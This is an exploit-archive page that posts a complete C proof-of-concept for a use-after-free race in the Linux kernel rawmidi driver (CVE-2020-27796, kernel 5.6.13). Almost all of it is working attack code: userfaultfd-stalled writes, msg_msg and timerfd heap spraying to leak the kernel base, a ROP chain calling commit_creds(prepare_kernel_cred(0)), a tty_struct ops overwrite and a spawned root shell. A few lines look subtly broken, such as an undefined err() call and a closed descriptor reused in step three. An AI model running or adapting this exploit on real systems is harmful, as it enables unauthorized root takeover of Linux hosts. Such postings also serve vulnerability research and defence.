what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux Kernel 5.6.13 Use-After-Free

Linux Kernel 5.6.13 Use-After-Free
Posted Sep 4, 2024
Authored by ii4gsp | Site ii4gsp.github.io

Proof of concept exploit that uses a use-after-free vulnerability due to a race condition in MIDI devices in Linux Kernel version 5.6.13.

tags | exploit, kernel, proof of concept
systems | linux
advisories | CVE-2020-27796
SHA-256 | 5772575942e33bf0bb3f88209aeb358c538c5851a59e7ed25e4a63653b6b7cda

Linux Kernel 5.6.13 Use-After-Free

Change Mirror Download
// gcc -o exploit exploit.c -masm=intel -static -s -lpthread
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sound/asound.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <sys/timerfd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <pthread.h>
#include <poll.h>

#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
} while (0)

#define ADDRESS_PAGE_FAULT1 0x1337000
#define ADDRESS_PAGE_FAULT2 0x3331000
#define ADDRESS_PAGE_FAULT3 0x5551000
#define PAGE_SIZE 0x1000
#define DRIVER_RAWMIDI "/dev/snd/midiC0D0"

#define SNDRV_RAWMIDI_STREAM_OUTPUT 0

uint32_t uffd;
uint32_t fd1, fd2, fd3;
uint64_t next;
uint64_t fake_table;

pthread_t thread[6];

bool release_page_fault = false;

static void *page;

unsigned long pivot;
unsigned long kernel_base;
unsigned long timerfd_tmrproc;

unsigned long usr_cs, usr_ss, usr_rflags, usr_sp;

struct args_trigger
{
char *addr;
int size;
uint32_t fd;
};

void hexdump(uint64_t *buf, uint64_t size)
{
for (int i = 0; i < size / 8; i += 2)
{
printf("0x%x ", i * 8);
printf("%016lx %016lx\n", buf[i], buf[i + 1]);
}
}

static void save_state()
{
__asm__ __volatile__(
"movq %0, cs;"
"movq %1, ss;"
"pushfq;"
"popq %2;"
"movq %3, %%rsp\n"
: "=r" (usr_cs), "=r" (usr_ss), "=r" (usr_rflags), "=r" (usr_sp) : : "memory" );
}

static void getRootShell()
{
if(getuid())
{
printf("[-] Failed to get a root");
exit(0);
}

printf("[+] uid : %d\n", getuid());
printf("[+] Got root.\n");

execl("/bin/sh", "sh", NULL);
}

void register_userfaultfd(uint64_t *range)
{
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;

uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);

if (uffd == -1)
{
perror("[-] userfaultfd");
exit(0);
}

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;

if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
{
perror("[-] ioctl");
exit(0);
}

printf("[*] Start monitoring range: %p - %p\n", page, page + PAGE_SIZE);

uffdio_register.range.start = (uint64_t) range;
uffdio_register.range.len = PAGE_SIZE;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;

if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
{
perror("[-] ioctl");
exit(0);
}

puts("[+] Userfaultfd registered");
}

void *handler_userfaultfd(void *args)
{
uint64_t uffd = *(uint64_t *)args;

struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
uint64_t nread;
void *page2 = NULL;

if ((page2 = mmap((void *)0xdead000, PAGE_SIZE * 5, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED)
{
perror("[-] mmap()");
exit(0);
}

uint64_t m_ts = 0x000000000000ffff;
memcpy(page2, (char *) &m_ts, 8);

while (true)
{
struct pollfd pollfd;
int nready;

pollfd.fd = uffd;
pollfd.events = POLLIN;

nready = poll(&pollfd, 1, -1);

if (nready == -1)
{
perror("[-] poll");
exit(0);
}

nread = read(uffd, &msg, sizeof(msg));

if (nread == 0)
{
perror("[-] EOF on userfaultfd!\n");
exit(0);
}

if (nread == -1)
{
perror("[-] read");
exit(0);
}

char *page_fault_location = (char *)msg.arg.pagefault.address;

if (msg.event != UFFD_EVENT_PAGEFAULT)
{
perror("[-] Unexpected event on userfaultfd");
exit(0);
}

if (msg.arg.pagefault.address == (void *)0x1337000 || msg.arg.pagefault.address == (void *)0x3331000 || msg.arg.pagefault.address == (void *)0x5551000)
{
printf("[+] Page Fault triggered on address 0x%llx\n", msg.arg.pagefault.address);

if(msg.arg.pagefault.address == (void *)0x5551000)
{
memcpy(page2, (char *) &fake_table, 8);
}

while (release_page_fault == false);

uffdio_copy.src = (uint64_t) page2;
uffdio_copy.dst = (uint64_t) msg.arg.pagefault.address &~(PAGE_SIZE - 1);
uffdio_copy.len = PAGE_SIZE;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;

if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
{
perror("[-] ioctl");
exit(0);
}

release_page_fault = false;
}
}

close(uffd);
puts("[+] Page fault thread finished");
}

void *trigger_userfaultfd(struct args_trigger *args)
{
char *addr = (char *) args->addr;
int size = args->size;
uint32_t fd = (uint64_t) args->fd;

write(fd, addr, size);
}

void send_msg(int qid, const void *msg_buf, size_t size, long mtype)
{
struct msgbuf
{
long mtype;
char mtext[size - 0x30];
} msg;

msg.mtype = mtype;
memcpy(msg.mtext, msg_buf, sizeof(msg.mtext));

if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) == -1)
{
perror("msgsnd");
exit(1);
}
}

void *recv_msg(int qid, size_t size)
{
void *memdump = malloc(size);

if (msgrcv(qid, memdump, size, 0, IPC_NOWAIT | MSG_NOERROR) == -1)
{
perror("msgrcv");
return NULL;
}

return memdump;
}

void build_rop(char *buf)
{
uint64_t *rop = (uint64_t *)&buf[0x0];
int k = 0;

/* commit_creds(prepare_kernel_cred(0)) */
rop[k++] = kernel_base + 0x15e8; // pop rdi ; ret
rop[k++] = 0x0;
rop[k++] = kernel_base + 0x8a800; // prepare_kernel_cred
rop[k++] = kernel_base + 0x49fb8; // pop rdx ; ret
rop[k++] = 0x8;
rop[k++] = kernel_base + 0xa6b081; // cmp rdx, 8 ; jne 0xffffffff81a6b05e ; ret
rop[k++] = kernel_base + 0x3dfdb4; // mov rdi, rax ; jne 0xffffffff813dfda1 ; xor eax, eax ; ret
rop[k++] = kernel_base + 0x8a3c0; // commit_creds

/* kpti trampoline */
rop[k++] = kernel_base + 0xc00a45; // swapgs_restore_regs_and_return_to_usermode + 22
rop[k++] = 0x0; // rax
rop[k++] = 0x0; // rdi

rop[k++] = (unsigned long)&getRootShell;
rop[k++] = (unsigned long)usr_cs;
rop[k++] = (unsigned long)usr_rflags;
rop[k++] = (unsigned long)usr_sp;
rop[k++] = (unsigned long)usr_ss;

uint64_t *func_table = (uint64_t *)&buf[0x100];
for (size_t i = 0; i < 12; i++)
{
if (i == 4)
{
*func_table++ = kernel_base + 0x1e; // ret;
continue;
}

if (i == 5)
{
*func_table++ = kernel_base + 0x1e; // ret
continue;
}

if (i == 6)
{
*func_table++ = kernel_base + 0x1e; // ret
continue;
}

*func_table++ = 0xdeadbeefdeadbe00 + i;
}

*func_table = pivot;
}

void pin_cpu(long cpu_id)
{
cpu_set_t mask;

CPU_ZERO(&mask);
CPU_SET(cpu_id, &mask);

if (sched_setaffinity(0, sizeof(mask), &mask) == -1)
{
err("`sched_setaffinity()` failed: %s", strerror(errno));
}

return;
}

void main(void)
{
pin_cpu(0);

struct snd_rawmidi_params srp;

save_state();

/* ===================== [ SETP 1 - KASLR Leak ] ===================== */

puts("[+] STEP 1 : KASLR leak");
fd1 = open(DRIVER_RAWMIDI, O_RDWR);

if (fd1 < 0)
{
perror("[-] open");
exit(0);
}

puts("[+] Opening rawmidi");

int qid[2];
if ((qid[0] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
{
perror("msgget");
exit(1);
}

struct itimerspec its;

its.it_interval.tv_sec = 0;
its.it_interval.tv_nsec = 0;
its.it_value.tv_sec = 9999;
its.it_value.tv_nsec = 0;

int tfd[256];

for(int i = 0; i < 256 / 2; i++)
{
tfd[i] = timerfd_create(CLOCK_REALTIME, 0);
timerfd_settime(tfd[i], 0, &its, 0);
}

if ((page = mmap((void *)0x1336000, PAGE_SIZE * 2, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED)
{
perror("[-] mmap()");
exit(0);
}

puts("[+] Mapping two pages");

char *addr = page;
memset(addr, 'A', PAGE_SIZE);

puts("[+] Registering one page userfaultfd");

/* Registering mapped area */
register_userfaultfd((uint64_t *) ADDRESS_PAGE_FAULT1);

puts("[+] Raising up the handler for userfaultfd");

/* Handler for userfault */
pthread_create(&thread[0], NULL, handler_userfaultfd, (void *) &uffd);

/* Create one object by size 256 */
srp.stream = SNDRV_RAWMIDI_STREAM_OUTPUT;
srp.buffer_size = 240;
srp.avail_min = 1;
uint64_t err = ioctl(fd1, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp);

puts("[+] Created one object by size 256");

if (err < 0)
{
perror("[-] ioctl");
exit(0);
}

struct args_trigger args;
args.addr = addr + PAGE_SIZE - 0x18;
args.size = 0x18 + 0x8;
args.fd= fd1;

/* Blocking before object created by size 256 in userfault */
pthread_create(&thread[1], NULL, (void *) trigger_userfaultfd, &args);
puts("[+] Triggering userfaultfd");

/* Deleting before object created by size 256 generating an UAF */
srp.buffer_size = 250;
err = ioctl(fd1, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp);

puts("[+] Deleting before object created by size 256 generating UAF");

if (err < 0)
{
perror("[-] ioctl");
exit(0);
}

/* send_msg 'A' */
char buf[0xf8 - 0x30];
memset(buf, 0x41, sizeof(buf));
send_msg(qid[0], buf, 0xf8, 1);

puts("[+] Allocate msg_msg in kmalloc-256");

printf("[*] Waiting for userfaultd to finish ..\n");
release_page_fault = true;

/* spray timerfd_ctx in kmalloc-256 */
for(int i = 256 / 2; i < 256; i++)
{
tfd[i] = timerfd_create(CLOCK_REALTIME, 0);
timerfd_settime(tfd[i], 0, &its, 0);
}

puts("[+] Allocate timerfd_ctx in kmalloc-256");

while(release_page_fault == true);
printf("[+] Page fault lock released\n");

uint64_t *leak = recv_msg(qid[0], 0x2000);

// hexdump(leak, 0x2000);

timerfd_tmrproc = *(leak + (0x200 / sizeof(uint64_t)));
kernel_base = timerfd_tmrproc - 0x2201f0;
pivot = kernel_base + 0x8fc625; // push r8 ; add byte ptr [rbp + 0x41], bl ; pop rsp ; pop r13 ; ret

printf("[+] timerfd_tmrproc addr : 0x%lx\n", timerfd_tmrproc);
printf("[+] kernel_base addr : 0x%lx\n", kernel_base);
printf("[+] pivot addr : 0x%lx\n", pivot);

for(int i = 0; i < 256; i++)
{
close(tfd[i]);
}

close(fd1);
puts("[+] Close rawmidi");

/* ===================== [ SETP 2 - SMAP Bypass ] ===================== */

puts("\n[+] STEP 2 : SMAP bypass");

release_page_fault = false;

fd2 = open(DRIVER_RAWMIDI, O_RDWR);

if (fd2 < 0)
{
perror("[-] open");
exit(0);
}

puts("[+] Opening rawmidi");

if ((qid[1] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
{
perror("msgget");
exit(1);
}

if ((page = mmap((void *)0x3330000, PAGE_SIZE * 2, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED)
{
perror("[-] mmap()");
exit(0);
}

puts("[+] Mapping two pages");

addr = page;
memset(addr, 'B', PAGE_SIZE);

puts("[+] Registering one page userfaultfd");

/* Registering mapped area */
register_userfaultfd((uint64_t *) ADDRESS_PAGE_FAULT2);

puts("[+] Raising up the handler for userfaultfd");

/* Handler for userfault */
pthread_create(&thread[2], NULL, handler_userfaultfd, (void *) &uffd);

/* Create one object by size 512 */
srp.stream = SNDRV_RAWMIDI_STREAM_OUTPUT;
srp.buffer_size = 500;
srp.avail_min = 1;
err = ioctl(fd2, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp);

puts("[+] Created one object by size 512");

if (err < 0)
{
perror("[-] ioctl");
exit(0);
}
args.addr = addr + PAGE_SIZE - 0x18;
args.size = 0x18 + 0x8;
args.fd= fd2;

/* Blocking before object created by size 512 in userfault */
pthread_create(&thread[3], NULL, (void *) trigger_userfaultfd, &args);
puts("[+] Triggering userfaultfd");

/* Deleting before object created by size 512 generating an UAF */
srp.buffer_size = 90;
err = ioctl(fd2, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp);

puts("[+] Deleting before object created by size 512 generating UAF");

if (err < 0)
{
perror("[-] ioctl");
exit(0);
}

/* rop spray in kmalloc-512 */
char secondary_buf[0x1ea - 0x30];
memset(secondary_buf, 0, sizeof(secondary_buf));
build_rop(secondary_buf);

printf("[*] Waiting for userfaultd to finish ..\n");
release_page_fault = true;

for(int i = 0; i < 0x20; i++)
{
send_msg(qid[1], secondary_buf, 0x1ea, 0x1337);
}

puts("[+] Spray ROP Chain in kmalloc-512");

while(release_page_fault == true);
printf("[+] Page fault lock released\n");

uint64_t *leak2 = recv_msg(qid[1], 0x2000);
next = *(leak2 + (0x1d8 / sizeof(uint64_t))) + 0x30;
fake_table = next + 0x100;

printf("[+] msg_msg->m_list.next leak : 0x%lx\n", next - 0x30);
printf("[+] Fake tty_struct->ops function table: 0x%lx\n", fake_table);

// hexdump(leak2, 0x2000);

close(fd2);
puts("[+] Close rawmidi");

/* ===================== [ SETP 3 - tty_struct->ops overwrite ] ===================== */

puts("\n[+] STEP 3 : Fake tty_struct->ops overwrite");

release_page_fault = false;

fd3 = open(DRIVER_RAWMIDI, O_RDWR);

if (fd3 < 0)
{
perror("[-] open");
exit(0);
}

puts("[+] Re-opening rawmidi");

if ((page = mmap((void *)0x5550000, PAGE_SIZE * 2, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED)
{
perror("[-] mmap()");
exit(0);
}

puts("[+] Mapping two pages");

addr = page;
memset(addr, 'C', PAGE_SIZE);

puts("[+] Registering one page userfaultfd");

/* Registering mapped area */
register_userfaultfd((uint64_t *) ADDRESS_PAGE_FAULT3);

puts("[+] Raising up the handler for userfaultfd");

/* Handler for userfault */
pthread_create(&thread[4], NULL, handler_userfaultfd, (void *) &uffd);

/* Create one object by size 800 */
srp.stream = SNDRV_RAWMIDI_STREAM_OUTPUT;
srp.buffer_size = 800;
srp.avail_min = 1;
err = ioctl(fd2, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp);

puts("[+] Created one object by kmalloc-1024");

if (err < 0)
{
perror("[-] ioctl");
exit(0);
}

args.addr = addr + PAGE_SIZE - 0x18;
args.size = 0x18 + 0x8;
args.fd= fd3;

/* Blocking before object created by size 1024 in userfault */
pthread_create(&thread[5], NULL, (void *) trigger_userfaultfd, &args);
puts("[+] Triggering userfaultfd");

/* Deleting before object created by size 1024 generating an UAF */
srp.buffer_size = 90;
err = ioctl(fd3, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp);

puts("[+] Deleting before object created by size 1024 generating UAF");

if (err < 0)
{
perror("[-] ioctl");
exit(0);
}

int spray[256];

/* tty_struct spray */
for(int i = 0; i < 256; i++)
{
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

if(spray[i] < 0)
{
printf("[-] Failed open /dev/ptmx\n");
}
}

puts("[+] Allocate tty_struct in kmalloc-1024");

release_page_fault = true;

while(release_page_fault == true);
puts("[+] Page fault lock released");

for(int i = 0; i < 256; i++)
{
ioctl(spray[i], 0, next - 8);
}
}


Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    26 Files
  • 27
    Sep 27th
    39 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close